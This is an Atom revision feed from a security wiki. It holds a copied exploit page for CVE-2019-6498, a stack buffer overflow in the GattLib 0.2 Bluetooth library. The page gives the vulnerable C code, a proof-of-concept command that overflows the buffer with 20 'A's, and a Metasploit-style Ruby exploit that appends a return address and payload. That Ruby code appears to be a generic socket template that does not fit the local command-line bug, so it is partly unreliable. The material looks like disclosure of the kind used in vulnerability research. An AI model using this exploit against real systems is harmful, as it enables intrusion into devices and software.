<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=GattLib_0.2_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>GattLib 0.2 緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=GattLib_0.2_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=GattLib_0.2_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-09T04:00:32Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=GattLib_0.2_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=2045&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; Exploit Title: stack-based overflow # Date: 2019-11-21 # Exploit Author: Dhiraj Mishra # Vendor Homepage: http://labapart.com/ # Software Link: https://github.co...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=GattLib_0.2_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=2045&amp;oldid=prev"/>
		<updated>2021-05-02T05:09:49Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; Exploit Title: stack-based overflow # Date: 2019-11-21 # Exploit Author: Dhiraj Mishra # Vendor Homepage: http://labapart.com/ # Software Link: https://github.co...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Exploit Title: stack-based overflow&lt;br /&gt;
# Date: 2019-11-21&lt;br /&gt;
# Exploit Author: Dhiraj Mishra&lt;br /&gt;
# Vendor Homepage: http://labapart.com/&lt;br /&gt;
# Software Link: https://github.com/labapart/gattlib/issues/81&lt;br /&gt;
# Version: 0.2&lt;br /&gt;
# Tested on: Linux 4.15.0-38-generic&lt;br /&gt;
# CVE: CVE-2019-6498&lt;br /&gt;
# References:&lt;br /&gt;
# https://github.com/labapart/gattlib/issues/81&lt;br /&gt;
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6498&lt;br /&gt;
&lt;br /&gt;
## Summary:&lt;br /&gt;
While fuzzing gattlib (Gattlib is a library to access GATT information from&lt;br /&gt;
BLE (Bluetooth Low Energy) devices) using clang 6.0 with ASAN a stack-based&lt;br /&gt;
buffer-overflow was observed.&lt;br /&gt;
&lt;br /&gt;
## Vulnerable code from gattlib.c&lt;br /&gt;
// Transform string from 'DA:94:40:95:E0:87' to 'dev_DA_94_40_95_E0_87'&lt;br /&gt;
strncpy(device_address_str, dst, sizeof(device_address_str));&lt;br /&gt;
for (i = 0; i &amp;lt; strlen(device_address_str); i++) {&lt;br /&gt;
if (device_address_str[i] == ':') {&lt;br /&gt;
device_address_str[i] = '_';&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
## Vulnerable code from discover.c&lt;br /&gt;
if (argc != 2) {&lt;br /&gt;
printf(&amp;quot;%s &amp;lt;device_address&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
return 1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
connection = gattlib_connect(NULL, argv[1], BDADDR_LE_PUBLIC, BT_SEC_LOW,&lt;br /&gt;
0, 0);&lt;br /&gt;
if (connection == NULL) {&lt;br /&gt;
fprintf(stderr, &amp;quot;Fail to connect to the bluetooth device.\n&amp;quot;);&lt;br /&gt;
return 1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
## PoC&lt;br /&gt;
&lt;br /&gt;
./discover `python -c 'print &amp;quot;A&amp;quot;*20'`&lt;br /&gt;
&lt;br /&gt;
## MSF code&lt;br /&gt;
&lt;br /&gt;
def exploit&lt;br /&gt;
    connect&lt;br /&gt;
&lt;br /&gt;
    print_status(&amp;quot;Sending #{payload.encoded.length} byte payload...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    # Building the buffer for transmission&lt;br /&gt;
    buf = &amp;quot;A&amp;quot; * 20&lt;br /&gt;
    buf += [ target.ret ].pack('V')&lt;br /&gt;
    buf += payload.encoded&lt;br /&gt;
&lt;br /&gt;
    sock.put(buf)&lt;br /&gt;
    sock.get&lt;br /&gt;
&lt;br /&gt;
    handler&lt;br /&gt;
end&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>